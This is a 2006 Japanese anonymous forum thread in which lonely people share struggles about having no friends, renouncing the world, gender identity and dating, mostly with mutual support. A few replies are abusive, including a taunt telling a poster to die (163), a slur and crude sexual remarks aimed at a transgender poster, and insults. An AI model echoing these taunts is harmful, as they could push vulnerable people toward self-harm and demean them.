死刑を言い渡された囚人の多くが、精神的におかしくなるのはどうしてなんだろう??
自分の首を絞める縄の存在か?
罪を悔いて自分を責めすぎたからか?
違う。自分では決められない不確定な時間がずるずる続いて、
恩赦でもない限りまず殺されるだろうっていう予感が精神をおかしくしているからだよ。
実際に殺さなくても大丈夫、予感さえ与えりゃ人間の脳は簡単に気が狂うよ(つД`)

いつまでこの孤独が続くのかと毎日精神をすり減らすことほど、頭がおかしくなることはないよ...

このいやらしい予感が消えてくれれば孤独の辛さも消えてくれる。
当たり前の回答かもしれないけど、誰かからメールなり電話がかかってきて
来週の休みの日に予定が埋まること、
誰かが自分に対して「○○(←自分についてのことなら何でもいい)はどうなった? 今度お茶でもして聞かせてよ」って
言ってくれること、
なおかつ、そういう日がこれからも続いていきそうだという予感、
これらが揃ってくれさえすれば孤独の苦しみは消えていくよ。

以上が2.1と5.2あたりの要約ですた。なお完全におれ個人的な、自分に対する回答ですが。

80 :ルカ ◆IOAAALucaM :2006/02/17(金) 00:31:07 ID:VNsjPLyI
>>75
その壊れた友達の言い分だけを信用しないほうがいいかもね、
最期は自分が自分の味方だよ。
悪いなと思ったところは認めればいいけど、
人のいうこと何でもかんでもそのとおりだなんて思ってたらやってらんない。

81 :ルカ ◆IOAAALucaM :2006/02/17(金) 00:37:56 ID:VNsjPLyI
>>77
メンヘルの人は、もっと歳をとったら悲惨な人生になってるかもしれんよ。
仕事に駆り立てる気力がない人間が、生活保護を受けられなくなるときが来たら、
どうなるかは怖いよ。
77さんには、友達ができにくい境遇って弱みはあるかもしれないけど、
食べていくために労働するって意気込みはあるのだから、その人よりも困難に対して
乗り越えられる力はあるんじゃないのかな。

82 :マジレスさん:2006/02/17(金) 00:40:35 ID:bzJHytP2
糞コテ消えろ

83 :マジレスさん:2006/02/17(金) 00:45:33 ID:/tOIUi1L
普通の生活以上できれば心にゆとりのある暮らしができるんだよねぇ
普通の生活に届いてない人は何もやる気起きなくて何も興味なくなっちゃう。
友達っていう当たり前のものすら否定してしまう。

84 :ともりも:2006/02/17(金) 01:40:51 ID:owFcM8uS
>>72
レスありがとう。
生活保護は近年、問題になってるよね。必ずしも必要とされてる人間には配られてないって。

>>67の内容はくだらない皮肉と、自分への独り言だから、あんま真にとらえてしまうと困るのですがw
(決して怠け者になれって薦めている訳じゃないですよw)
あなたは>>72で書いているメンヘルの人みたいになりたいですか?

あなたは子供の時からそれを理不尽だと感じてたんですよね?
なぜ、あなたが理不尽に感じたかというと、あなたは努力しているのに、幼なじみは努力しなくても成功しているからですよね。
はっきり言うと、世の中には理不尽な事がたくさんあると思う。
どうしても、人間それぞれだから、個別の分野によって努力の差に関わらず成果に差がうまれてしまう。
でも、それはある面だけを個別に見ているからであって、トータルでみたら、みんな努力しているのは同じと思う。
幼なじみの子だってあなたの前では明るいのかもしれないが、やはり心の病を抱えて苦しんでるはず。
>>81でルカさんも書いているけど、あなたは人間付き合いという分野ではうまくいってないけど、
それに対して乗り越えようと努力していたわけだから、人生の困難に対して乗り越えようとする分野では力があるはず。
なんか>>67のはじめに書いたみたいな気休めにもならない典型的なレスしか書けてないけど、諦めないで気長に頑張っていこうよ。
なんか自分の書き込みで変な方向に励ましてしまって様で謝ります。

85 :マジレスさん:2006/02/17(金) 01:58:52 ID:owFcM8uS
>>83
>普通の生活
普通って何だろう。よく考える。
抽象的で得体の分からないもの。

インドネシアでは政府が開発の為に市民の生活のレベルをいちいち段階別に定めているらしいが、
最貧困層の定義はこうなっている。
『@信じる宗教があること、かつA血縁関係者以外に相談できる人間がいること』
@はイスラム国家だから仕方ないとして、
いくら飯をくえるか?金をもっているか?よりもまず友達がいないやつは心が貧しいとして最貧困に位置付けられている。
そうか、俺は発展途上国の最貧困層より、心が貧しいのか…
でも、確かに日本でも周りの人間は普通に友達いるからね。

友達がいない自分にとって、その得体の分からない抽象的な、でも自分には無い、『普通の生活』というのが一番の憧れだったりする。
チラシの裏スマソ(;´Д`)

86 :マジレスさん:2006/02/17(金) 02:28:17 ID:SAQ2xem8
最貧困層の定義のAで,相談できる人が「いない」となってるなら
君の言い分が成り立つのでは。


87 :ともりも:2006/02/17(金) 03:43:54 ID:owFcM8uS
分かりにくくてすまん。
Aの定義でいない人間は最貧困層以下、つまり政府の支援が必要となるみたい。
恐らく、そんな人間はいないというのが前提にある。
日本以上に債務国なんで政府はなるべく支援したくないから、最低限の人間のレベルを宗教と友達にあげたんだよ

88 :もも:2006/02/17(金) 07:04:53 ID:1NjbyLES
>>53-45
wwwお茶吹いちゃいました。いい!

私の場合は、友人が欲しい、というより、心地イイ距離感を保ちたいので、
ここの住人の方々には物足りなく、寂しいものかもしれないと、少し反省。
かつて、仲良く付き合えていると思っていた人に
「貴方て何考えてるか判らない」と言われ、去っていかれた経験があります。
おそらく距離をとりすぎて淋しかったのかもしれませんね。
以来、仲良くするのはいいにしても、傷つけてしまうかもしれないという不安が常にあります。
夫にたいしても、いつもベッタリというのがたまらなく思う時も多いです。
しかし、一人でレジにも向かえないらしいので、いたしかたなく買い物につきあっています。
そして、別の機会を作って一人でウロウロしております。



89 :もも:2006/02/17(金) 07:18:43 ID:1NjbyLES
今、私は製造業にかかわるデスクワークをしております。
ですので、商品にじかに触れる機会は少ないのですが、
その商品が皆さんのもとに届いたりして、皆さんの役にたったり、
楽しませていたりしているであろうなあと思うと、
確かな繋がりを感じるのです。
きっと不必要な人間なんていないし、いなくなれば悲しむ人が
本人が思うより、ずっとずっと多いと思いますよ。
思いがけない人が思っていてくれることもあります。

知人で、順風満帆な人生を送っていた人がいますが、
ある日突然、仕事をやめ夢を追いかけた人がいます。
その途端、今まで友人と思っていた人がたくさんいなくなったそうです。
結局その方はその世界で成功されて、離れていった人も戻ってきたそうですが
かつて自分が丸裸で夢を追いかけた時でも変わらず友人でいてくれた人がいて、
思いがけない人からも応援されたりして、すごく勉強になったと彼はいっておりました。


90 :齋藤:2006/02/17(金) 12:26:08 ID:Z5rbXseg
>>79 付き合ったことあるけど昔の話だよ。

91 :マジレスさん:2006/02/17(金) 20:13:57 ID:TuQsSr5i
>>89
ももさんの考え方、素敵ですね。
いい話だな。

92 :齋藤:2006/02/17(金) 23:13:37 ID:guIjca1N
>>74 ルカさん
出家して、世を捨てたら楽になると思うのです。
タイで知り合った坊さんは仏のことだけを考えていました。

なんでこんな自分なんだろうと考えるのも疲れます。
反省して次は頑張る!と思ってもまた失敗してしまうのです。

自分で死ぬことが出来ないのなら、出家して世を捨てたいです。




93 :マジレスさん:2006/02/18(土) 01:38:10 ID:0MB56Xgm
ただお坊さんになるだけなら半年ぐらい勉強すれば僧侶資格取れる。
しかし日本にはお坊さんは腐るほどいるけど、坊さんであるというだけで生計を立てている人は一部。
坊さんの肩書きだけで生計を立てたいのなら檀家をたくさん持たないとだめ。200は持たないと生活できない。
以上受け売りです。悲しいことに、仏のことだけ考えてても飯は食えない時代なんですよね。今の日本は。私は、生活が成り立つかどうかとは無関係に出家に興味はありますが。
どこか大きいお寺に入れてもらえたりしないかなあ。

94 :マジレスさん:2006/02/18(土) 01:51:16 ID:D0U++6Ym
まぁ現実に僧侶を目指すかどうかはともかくとして
友達がいない程度のことなんかどうだってよくなるくらいの
高い理想があればいいとは思うな。

95 :ともりも:2006/02/18(土) 03:09:49 ID:R5d693XV
>>93
大学で坊さんの社会人学生と知り合いになった。
彼は檀家を増やす為に大学でマーケティングを学びに来たという。
無論、大学に遊学するだけの金の余裕はあった訳だが、昨今は不況で大口の檀家からの布施が減って大変らしい。
他人に寄生する仕事。

96 :もも:2006/02/18(土) 08:44:56 ID:KmhzJ31W
>>92 斉藤さん
前回、レスしてみようと思っていたのですが時間なくて。
今朝は休日なのに早起きしちゃったので。

以前、書いていらしたタイでの僧はコツジキ僧ではないでしょうか。
宗教心の高い国なんかによくいて、まさに俗世間から解脱していますよね。
でも、日本での僧は少し違うようですよ。
かつて日本は関所などがあって、一般の人々が気軽にウロウロ出来なかったのですね。
それで、世の中の流れや風説、噂話などを僧が広めていたという地盤がありまして
現代に置きましても、一般人よりもコミュニケーションが求められる仕事であります。
そして、人々の悩みなどをきくカウンセラーのような役目を担ってきた経緯があるのです。
ですので、日本における出家というのは、更に辛くなるような気がします。
人からの話で、バブルの頃、出家を望んで仏教系の学校に行った方がいたそうですが、
まさに真面目な人で、軽率で浮かれきった世の中から残された存在で、友達がいなくて
ノートを貸すということだけで周りから利用されていたそうです。
その方が在学中だけど、一刻も早く出家したいということで門戸を叩いたそうですが、
まずは友達を作ってから、もっと世間の波に揉まれてから来なさいと門前払い受けたそうです。

よく巷でかつての某宗教団体のように、出家のような制度があったりしますが
斉藤さんはそんな怪しい所に引っかからないようにと願っております。
私は、特にそういう団体(人ではなく)を嫌悪しております。
私の人間嫌いは、そういう団体であれば何も不信に思わない人のおぞましさが恐ろしいのです。
意味が通じるかしら。
きっと斉藤さんはインドなんかに行ってしまうと楽しくて帰ってこれないかもしれないなあと
想像します。

97 :もも:2006/02/18(土) 09:17:56 ID:KmhzJ31W
連投すいませんね。

団体というのは私は恐ろしいものだと思うのです。
書こうかどうか、少し悩んだのですが、なるべく名前を伏せて書いてみようと思います。
私の亡祖父は、かつて、民間人としては一番上にまでなった軍人でした。
職業軍人とは規模は違うもんの、なりゆきで部下もたくさんいた、そんな人です。
その祖父が、とある土地に引っ越しまして、あたりの農業などを管理する仕事についたそうです。
そして、たくさんの地元民を小作人にして暮らしはじめたのですが、
国からもらえる金銭は、祖父にはたくさんくれたそうですが、
地元の小作人には、到底食べてはいけないようなお金しか支給されなかったそうです。
それで、それじゃまずいだろ、ということで、家にある食べ物やお金など、
気がついたら、これ持って帰れあれ食えと与えて、どこかでお祝いがあると聴けば
土産もって駆けつけお祝い会にも楽しく参加したそうです。
当時、地元民は目下でほぼ奴隷のように扱う風潮の中、祖父は同等に付き合っていたらしいです。
そんな人ですから、上から睨まれることも多かったみたいです。
そのせいで、田舎の奥地にいくはめになったり、北の寒いところに連れて行かれそうになったりしたみたいです。
そのうち、世の中がひっくり返る寸前のところ、地元民から、
これから大変なことになるから、今のうちに去ったほうがいい、ここは田舎だから、今から出ないと帰れなくなるかも
と忠告を受けて帰ることにしたわけですが、
帰る道々にも、次々と地元民の知り合いや親戚が現われて、金銭にも困らず
安全に帰って来れたそうです。
その金銭も、同じように帰る人々に貸してくれといわれて貸して、
戻ってこれた時はすっからかんだったのです。


98 :もも:2006/02/18(土) 09:24:08 ID:KmhzJ31W
私は祖父のような、世間のふざけた風潮に流されない強い人間になりたいと思うのです。
それが、自分の大切な人をも守れる力になるし。

団体の力は怖い。恐ろしいです。その中にさえいれば否定されないという安心感だけで
何をしてもよいという安易さが、そういう人間が怖いです。
長レス失礼しました。

99 :齋藤:2006/02/18(土) 13:54:55 ID:IQR8fl0e
私は日本で出家することは考えていません。
皆さんがおっしゃる通り、日本の坊さんは結婚もするし、お金も持っていて、世捨て人ではないので…。


私は自分の性別を受け入れられない。
誰とも付き合いたくないし、誰とも寝たくない。
自分を犠牲にして、結婚なんて出来ない。
でも社会にでると理解されない。
親のために、社会のために子供を産むべきだと言われる。
こんな自分を理解されなくてもいいが、自分の生い立ちをきかれたり、好奇の目でみられる。
自分でも何でこうなったのかは、わからない。
日本の社会で生きていくのは難しい。

チラシの裏ですいません。

100 :マジレスさん:2006/02/18(土) 14:41:50 ID:C9bBPfOn
過去の異性との付き合いで傷ついたことがありますか?
知人で男性不振の子がいて、あなたと同じような事を言っていました。
まずは自分の性をみとめてあげてください

101 :齋藤:2006/02/18(土) 15:16:17 ID:IQR8fl0e
>>100
そういうんじゃないんだ。
自分は性同一障害なんだ。板が違うでもうやめとくが、友達が欲しい。

102 :マジレスさん:2006/02/18(土) 15:32:16 ID:lZaBW15U
齋藤さんの気持ち痛いほどわかる。
別に過去男性とのトラウマがあったわけでないが
自分も性別を受け入れることがどうしてもできない。
周りからは、お洒落しない事とか責められる。
そういう次元の話ではなくお洒落して綺麗だといわれる事が、
自分が女だと言われている様で、最大の屈辱だと思ってしまう。
愚痴ってすまん。




103 :マジレスさん:2006/02/18(土) 17:05:09 ID:C9bBPfOn
性同一障害ってどんなの?

104 :マジレスさん:2006/02/18(土) 18:29:06 ID:IQR8fl0e
>>103
自分の性別が受け入れられない人のこと。
性転換手術する人のほとんどが性同一障害。

見た目(外見)が女でも名前が男だと、異物のように扱われる。
性転換して戸籍の性別を変えて、名前を変えても子供は産めないし、作れない。

105 :マジレスさん:2006/02/18(土) 18:48:41 ID:C9bBPfOn
同じ悩みを抱えている人と知り合いになったら、分かりあえて友達になれるんじゃないかな?
あと、確かに社会で生きにくいことがあるかもしれないけど、私はおかしいとか話を聞いて思わないし、斉藤さんのことをわかってくれる人もいると思うよ。だから、頑張って☆

106 :齋藤:2006/02/19(日) 03:39:52 ID:a6JI95BR
>>105
ありがとう。

107 :齋藤:2006/02/19(日) 03:46:25 ID:a6JI95BR
ももさん
お祖父さんのお話、読んでいて切なくなりました。
ですが人間として立派な方だと思いました。


108 :マジレスさん:2006/02/19(日) 10:22:39 ID:fPPKe0Xk
人の輪の中にいると居心地が悪くなって抜けてしまう。
そのくせ、ひとりで居ると寂しくて友達欲しいとか思ったりする。
この矛盾した気持ちはいったい何なんだろう。

そんなオレは15年以上友達がいない・・・

109 :ともりも:2006/02/19(日) 12:31:36 ID:9Q1r7Ojn
自分は友達イナイ歴=年齢。

110 :マジレスさん:2006/02/19(日) 12:40:36 ID:AT6ikOBs
居心地のいいところで数人と仲良くやれたら最高、とそんなに上手く行くわけがない。

111 :マジレスさん:2006/02/19(日) 14:36:19 ID:H0BzpoKo
私も友達いない暦=年齢 ついでに彼氏いない暦=年齢
私も出家したいです

112 :マジレスさん:2006/02/19(日) 14:44:15 ID:1C/3sYpZ
お、ほぼ一緒。
気軽に楽しめる風俗もないから困るよね。

113 :マジレスさん:2006/02/19(日) 14:45:43 ID:BxNvnppu
>>111
それ本当に?よっぽどのブスとかハゲてるとかですか?

114 :ともりも:2006/02/19(日) 18:38:11 ID:9Q1r7Ojn
友達の有無と恋人の有無は関係ないと思う。

恋人の有無のステイタスや体の関係など損得関係無く、付き合える友達関係のほうが絆を深く結べるだろう。

友達いない歴=年齢を脱却できる風俗があるなら間違いなく行く。
疑似友達でもいいから成功経験を積みたい。
毎日、失敗の連続には、いい加減飽きた。


115 :ともりも:2006/02/19(日) 19:10:03 ID:9Q1r7Ojn
自己レススマソ

疑似友達というより、援助友達。

マジで援友募集したい。
このままじゃあ、友達いない歴=年齢の後悔の念で、俺は出家も出来ないだろう。
少しでも成功経験積めれば、
>>76でルカさんも書いている諦観の域に達することが出来て、気持ちも楽になり、俺も堂々と世捨て道を歩める。

報酬は払うのでどなたか、援助のお相手して下さい。

116 :マジレスさん:2006/02/19(日) 21:48:27 ID:Do1MC24h
「報酬は払う」時点でそれは「成功経験」にはならないと思われ

117 :マジレスさん:2006/02/19(日) 21:49:28 ID:MdNjnazt
友達いない人と友達になったって何の価値もない。一度2ちゃんで知り合った人とメールしてたけど、友達いない人がいない理由が分かる。
私も友達少ないからもっと増やしたいと思ったけど、やっぱ2ちゃんにハマッてる人ってどっか変。

118 :マジレスさん:2006/02/19(日) 22:00:12 ID:4ttUs8la
俺さ、友達居なくて2ちゃんの顔偏差値にアップしたら、オタク見たいって言われた… 会社では言われたこと無いのに

ショックだったよ

119 :マジレスさん:2006/02/19(日) 22:00:33 ID:7wJYR27w
認めたくないが類友って多いよな。
連れを見れば自分が見える。
憧れの人とはなかなか仲良くなれない。

120 :マジレスさん:2006/02/19(日) 22:39:03 ID:0kpFyi9t
映画とか1人で見に行ったりしたら『こいつ友達いねえんだダッセェ!!』とかやっぱり思われるんでしょうか??映画に1人は不自然でしょうか?
なんかよくわからんくてスマソです

121 :マジレスさん:2006/02/19(日) 22:58:04 ID:htwSnELr
そりゃもうしょっちゅう一人で行ってるけど…そんな風に思われてたのか…
視線とか感じたり目が合ったことはないけどなあ。
むしろだれも私に気付かなくて何かあっても私のアリバイを証明してくれる人がいない。


122 :マジレスさん:2006/02/19(日) 23:20:38 ID:RIx9aHDO
>>120
自分はいつも一人で行ってますよ。
気を配らなくていいから気が楽です。

ただ席取りがしずらかったり、感想を共有できなかったりするといったデメリットもあるけど

123 :111:2006/02/19(日) 23:46:33 ID:H0BzpoKo
>113
今まで三度、告白されたからそこまで喪女ではないと自分では思っている
でも、何となく思い切りがつかなくて居ない暦年齢
やっぱ自分が変人奇人だから友達もできないんだと思う。
ここのスレは、なんか変わった人が多くて好き。
オフカイとかあったらいってみたい
何となく同じ匂いがする

124 :マジレスさん:2006/02/20(月) 00:04:50 ID:4ttUs8la
>>123
俺、30年間彼女居ないけど、恋愛はやれるうちやった方が良いと思うよ。

この年になるとやけに寂しくなってきたよ

125 :マジレスさん:2006/02/20(月) 00:10:31 ID:VgzpL2T2
オフ会微妙さが漂いそう。

恋愛なんてやったのいつだろう。
後になってあの人のことが好きだったんだとか気付いても遅いよね。
なんでいっつもこうなんだろう。

126 :マジレスさん:2006/02/20(月) 01:17:31 ID:PfiEyi0v
>>120
平日の昼間なんて1人多いよ。
スーツ着たリーマンっぽい人とか主婦とか中年とか。
そんなかに混じって自分みたいな大学生やフリーター風な若者もいる。

でも夕方以降や休日なんかは、やっぱりカッポーや家族連れが多いだろうけど。

127 :ともりも:2006/02/20(月) 11:51:12 ID:QbKrHbDG
ユーロスペースとか、ミニシアター系は夜でも一人客が多くて好き。

128 :齋藤:2006/02/20(月) 15:48:28 ID:qOe1aajF
仕事で映画の試写会にいくことが多いので
プライベートで映画を観にいくことがない。
きっと一人で観るのは気が楽だろうなー。


129 :マジレスさん:2006/02/20(月) 16:08:49 ID:fhhLhf8+
>>120仕事で映画の試写会に行くのが多いってどんな仕事なの?
興味あるな

130 :齋藤:2006/02/20(月) 16:12:50 ID:qOe1aajF
>>129
出版業界です。

131 :ともりも:2006/02/20(月) 18:43:04 ID:QbKrHbDG
>>116

風俗や援助交際に走る奴と同じで、
お金を払っても、末期症状が解消されるなら、それでいいと思ってしまう。

虚しいけど、末期症状が解消されない限り先に進めないのも事実なんだ。

どうぞ、馬鹿にしてくれ。
惨めな人間だよ。
急激に眠い。


132 ::2006/02/20(月) 19:19:31 ID:NeAGEPkp
カラオケ苦手な人いる?
どうも人前だと歌えない。
皆がノリノリで歌ってるとひいてしまう。

133 :マジレスさん:2006/02/20(月) 19:23:26 ID:/YYLHblU
カラオケ苦手。
自分の声が響くのが好きになれない。
音痴っていうのもあるが。

134 :マジレスさん:2006/02/20(月) 19:52:09 ID:qxqtj3EB
久々に人を好きになったのに…
タイプじゃないからもう連絡しないでって言われた…

俺の何がダメ何だよ〜
もう訳分かんない

135 :齋藤:2006/02/20(月) 20:45:47 ID:Da27eGHt
>>134
もっとうまく口説け!
タイプじゃないなんて、興味がないって言われたようなもんだ…。


136 :マジレスさん:2006/02/20(月) 20:50:35 ID:qxqtj3EB
>>135
二回しかあってないけど、二回目の時に『おまえとは趣味合わねーな』とか言われたし…

俺いつも1人だから、女に興味持ってもらう方法なんて分からないよ…

もう、30なのに

137 :齋藤:2006/02/20(月) 21:08:05 ID:Da27eGHt
>>136
30なんて男の魅力が漂うときじゃないか。

2回あっただけで好きになっちゃだめだ、相手も引くし警戒心を持つよ…。


138 :マジレスさん:2006/02/20(月) 21:15:28 ID:qxqtj3EB
>>137
おれ、仕事がら全く出会い無くて、久々に女の人と出会えたから。
たぶん五年ぶりくらい…
はぁ〜なんでこんな会社に入社したんだろう…(´・ω・`)

139 :マジレスさん:2006/02/20(月) 21:52:33 ID:QbKrHbDG
二回会っただけで、あんたのこと判断して、拒否る女なんて、
所詮がそのレベルなんだから元気出せよ。

友達いないから、誰かに紹介してもらったりしたことない。
数合わせ要員として合コンに誘われただけ。
時間の無駄だったけど

140 :マジレスさん:2006/02/20(月) 22:30:57 ID:XxO16E0+
それじゃ〜138慰めるためにキャバクラオフでもするか。

141 :マジレスさん:2006/02/20(月) 23:29:03 ID:mMS7TZib
>>138
仕事や職場の世界の中だけで自分を完結させていたら
何も変わらないよ。現状を嘆く前にもっとできることあるだろ。
自分の殻を破ろうぜ。

142 :マジレスさん:2006/02/20(月) 23:55:25 ID:Mnhosmtq
>>139
友達いないと出会いのきっかけもないよ
合コンなんていったこともないわ
いったことあるだけうらやましい

143 :齋藤:2006/02/21(火) 00:08:00 ID:zSCNS3TH
>>138
5年ぶりの出会いか…。それは2回あっただけでも惚れるね。
恋の仕方も忘れそうだよ。

自分のことじゃないが、男に気を持たせておいて、ごめん、自分も男なんだカミングアウトってことじゃなかったから、まだ傷は浅いよ…。
変な慰め方でごめん。

144 :マジレスさん:2006/02/21(火) 00:34:18 ID:qtmqd0ca
自分は♀だが集団社会に嫌気が指してるところ
しばらく一人で長距離チャリ旅でもする予定だけど
なんつーのか思った以上に
程度の低い連中ばかりで
正直うんざりってのか幻滅してる(;´д`)ハァ…、

145 :マジレスさん:2006/02/21(火) 00:38:23 ID:GTgVoi7L
あまり人を見下したりしてはいけないよ

146 :マジレスさん:2006/02/21(火) 01:20:29 ID:9EPwjJXd
>自分のことじゃないが、男に気を持たせておいて、ごめん、自分も男なんだカミングアウトってことじゃなかったから、まだ傷は浅いよ…。

???

147 :ともりも:2006/02/21(火) 02:44:29 ID:Ofag7aVZ
>>142

合コンの話で盛り上がっている場に偶然、出くわしたから、誘われただけ。
もともと、馬鹿騒ぎは好きではない。
そして、何事もなく、ただ相手の女子高生の若さのパワーに圧倒されて、帰途についた。
すっぽんでも飲んでみようかな。

148 :マジレスさん:2006/02/21(火) 05:45:31 ID:M0oOdG8N
>>138です
みんな、ありがとう。

女の子と出会う機会なんて風俗、キャバクラ位しかないから、自分が女性にどう思われてるか全く分からないんよ…


149 :齋藤:2006/02/21(火) 07:34:49 ID:zSCNS3TH
>>146
大変わかりにくい文章で申し訳ありません。
自分は心と外見は女なんだけど、体は男なんです。
男に食事に誘われたら、嬉しくて自分なりにお洒落して、相手にも気を持たせるようなことをしてしまう。
だから体の関係に進む寸前に、隠していたことを言うと…だいたいショックを受けるよ。
相手も次の恋愛するのが怖くなるくらいショックみたい。

性転換手術をして戸籍の性別が女になっても、妊娠はできないし、恋人ができても、相手にいつ真実を告白するべきなのかわからない。
友達がいたら相談できるのかな、とたまに考えます。

150 :齋藤:2006/02/21(火) 07:52:50 ID:zSCNS3TH
>>138
友達も恋愛もまずは出会いから始まるものだよね…。


151 :マジレスさん:2006/02/21(火) 12:20:11 ID:9EPwjJXd
>149 変なこときいてスマソ.男が誘ってくる位だからお前さんには魅力があるんだろう.
でも,Hする直前に男と聞かされたら唖然とするだろうと思う.
会ってから寝るまでの時間によっても唖然度が変わるだろうな.
こくられたら,すぐに伝えた方が相手にもお前さんのためにもなると思う.
同じ性転換した人で知り合いはいないですか?特殊な悩だから,同じ境遇の人の方が気があうじゃない?
しかし,性転換したなら昔の知り合いとかとは縁切ったということですよね.
新しい生活をリスタートできるから,その点は憧れたり.

152 :マジレスさん:2006/02/21(火) 12:26:04 ID:9EPwjJXd
>147 うはwwww,女子高生wwwwwwwwwwwwwwwwwwwwwww
羨ましいすぎる.
女子高生と知り合う機会なんてない.
女と話す機会なんて,風俗嬢とキャバ嬢しかいない.
>140と>148でキャバオフやりたい.

153 :齋藤:2006/02/21(火) 15:33:05 ID:hGHpSWHv
>>151
こちらこそ意味不明なことを書いて申し訳ない。
相手と、知り合ってから深い関係になるまで(ならないんだけど)
数ヶ月はあるので、言わなきゃ言わなきゃと思っても言い出せないまま・・・。
嘘ついているみたいで心苦しいですがタイミングが見つからず。
なるべく早く言い出せるようにしたいと思います。

ところで、まだ性転換手術はしていないんです。
一般の会社で働いていますが、知人の紹介で入社したこともあり、
有難いことに自分の名前は男でも女でも使えるような名前なので
職場では一部を除いては、ばれていません。
昔からの知り合いは、いませんので、性転換しても今とさほど
変わらない生活を送ることになると思います。

色々ありがとうノシ
キャバクラオフ楽しそうですね。応援しています。

154 :ともりも:2006/02/21(火) 16:35:07 ID:Ofag7aVZ
>>152

大学の付属高校の子で、キャンパスが同じで選択授業が重なるから、知り合っただけだ。

女子高生ってそんなに羨しいのか…
異文化コミュニケーションだったよ。
自分は今時の感じの女性はあまり好きじゃない。
女性に限らず、いい加減な人間とは関わりたくない。
変なところで潔癖症なんだよ。


155 :ともりも:2006/02/21(火) 16:51:43 ID:Ofag7aVZ
>>149
>>齋藤さん

>>友達がいたら相談できるのかな、とたまに考えます
友達がいないから、いつも悩みを一人で抱えてしまって、苦しいです。
ネットとかを使ってうまくはけ口を自分なりに作っているけど、根本的な孤独は変わらないです。
友達いないという事実が、人間関係だけでなく、恋愛や勉強や仕事、将来設計まで、悪影響をもたらしているんだ。
『どうしたら友達が出来るのか?』
この5、6年、毎日24時間、ずっと考えているけど答えが出ません。

>>150さんが言うように、齋藤さんも、オフ会等うまく使って、同じ境遇の人と知り合いになれるといいですね。
同じ境遇の人同士なら悩みを共有できるだろうし、その中で理解しあえる友達が出来るかもしれません。

生きにくいこともあるかもしれませんが、頑張って下さい

156 :齋藤:2006/02/21(火) 17:14:07 ID:hGHpSWHv
>>155 ともりもさん
>友達いないという事実が、人間関係だけでなく、恋愛や勉強や仕事、将来設計まで、悪影響をもたらしているんだ
本当にその通りだよ。
友達がいないと、色んな情報やアドバイスが入ってこないし、
偏った思考のまま生きているような気がします。
たくさんの人に揉まれて、たくさんの人との交流があれば成長するのだと思いますが
20を過ぎると人間関係はそう変わらないものなのか、友達が欲しいと思って頑張っても、
自分には出来ませんでした。

でも頑張って生きます。ありがとう。


157 :卍解屋:2006/02/21(火) 17:16:53 ID:0713FJ0l
>>ともりもさん
ともりもさんのカキコをみていると友達とはこうあらねばならないみたいな
感じがしてもっと妥協した考えを持ってもいいのになと思いました。そのほうが
生きやすくありませんか?それに合コンに誘われるくらいなら、そう薄い仲でも
ないでしょう?でもその人は友達という位置づけにはないんですか?単なる知り合い
ですか?それでもオイには羨ましいなあと感じました。

>>齋藤さん
なかなかデリケートな問題を抱えていらっしゃるようで、なんてレスしたら
いいかわかりませんが、やはりみなさんが言っているように同じ境遇の人
でしかわからない事があると思うので、そういう人が見つかるといいですね。

あとオイよくわからないんですが齋藤さんが二人いらっしゃるんですか?
できることなら区別してもらえるとありがたいです。

158 :マジレスさん:2006/02/21(火) 18:14:31 ID:M0oOdG8N
>>143
>>138です。
確かに恋愛の仕方を分かりません…(´・ω・`)
誰か教えてよ…

159 :マジレスさん:2006/02/21(火) 20:21:32 ID:KkcF9ax6
もうオカマでええわ
やらせてくれ

160 :マジレスさん:2006/02/21(火) 23:20:28 ID:XpUmHRzO
10代の頃は
そんなに意気投合しなくい人間ともプライベートで遊んでたけど
20代も後半に来るとお互いよっぽど意気投合しないと
プライベートで会おうと言う話はまず出てこないね。
ちょっと意気投合するくらいの人はいる。
でもそれくらいだったらプライベートで会おうという話は絶対出てこない。
そういう人は10代の頃だったら友達つきあいできたかも知れないとか思ったりする。

だから年とれば年とるほど友達作るのが難しくなるし
友達減って孤独になると思う。

ものすごい意気投合できる相手に会えればいいんだけど
まぁなかなか会う機会ってできないよね。

161 :マジレスさん:2006/02/21(火) 23:53:46 ID:U3TzIucC
何か深い趣味とか持ってて、それ繋がりの知り合いがいたり
それに関連したサークルとかに入れば手っ取り早いんだろうけどねー
一人でだろうと誰とだろうと、お互い行きたいに決まってるようなはっきりした目的があると
「誘ったら迷惑かな」みたいな気おくれがないし

162 :マジレスさん:2006/02/22(水) 02:12:43 ID:LlTdqcUB
>>161
しゅみを通じた知り合いが居たが、ドラックを強要してきて、縁を切った。
にた趣味でも価値観が違うと友達は出来ない。
たとえ価値観が近くても共通の話題がないと関係を維持するのが難しい。
いかんせん、価値観も趣味も近い人は滅多に居ない。




163 :マジレスさん:2006/02/22(水) 02:29:47 ID:Kmalsc1q
>>162
死にたいなら死ねば?

164 :マジレスさん:2006/02/22(水) 10:21:15 ID:IG1izdzv
>>160
俺まだ17なのにすでにそんな状況だ…orz

165 :マジレスさん:2006/02/22(水) 10:56:44 ID:1T9EpYjc
友達はいないと寂しい。けど、知り合いのどこからが友達なのかわからない。自分から無理矢理話しかけたり仲良くできないから、知り合いは多くても友達はいるのかわかんない。
しかも、私は誰にとっても2番目なんだよ。好いたり嫌われたり悪口言ったりに疲れたから、ひとりでいることにした。楽なような寂しいような。
はぁ、人間ってわからない。



166 :齋藤:2006/02/22(水) 12:18:45 ID:rNpN6AGB
>>157 卍解屋さん
あなたのお名前は何て読むのですか。
まんじかいや さんで宜しいのですか。

167 :齋藤:2006/02/22(水) 12:24:37 ID:rNpN6AGB
>>157 卍解屋さん
かぎじゅうじかいや さんか・・・。


168 :齋藤:2006/02/22(水) 12:26:23 ID:rNpN6AGB
>>157 卍解屋さん
卍マークが斜めじゃないから、まんじかいやさんでいいのかな。

169 :卍解屋:2006/02/22(水) 12:36:40 ID:mSwNYztE
>>齋藤さん
オイの名前は「ばんかいや」といいます。
でもばんかいやと書いても漢字が出ませんね。
そうですねまんじかいやでよろしいかと。

170 ::2006/02/22(水) 13:47:21 ID:LbCBFLcr
男だけど男性恐怖症の人いますかね?



171 :マジレスさん:2006/02/22(水) 15:04:30 ID:0Fs3uawm
ふらりと訪れたら同じような空気もった人たちいっぱいいてびっくりした…。
結婚にも恋愛にも興味あるしやりたいけど、結局恋人いない歴=年齢。
最近無性に寂しいけどどうしていいかわかんない。
友達欲しい。
旅行もいつもひとり。
バイトお水だし、対人スキルないわけじゃないと思うんだけど…
まわりからも何でか強い子、あまり甘えない子だと思われてる。
逆にあまえっこだから、それ自分でわかってるから、
だから人に甘えられないだけなのに。

172 :齋藤:2006/02/22(水) 15:22:16 ID:rNpN6AGB
>>169 卍解屋さん
ありがとう。
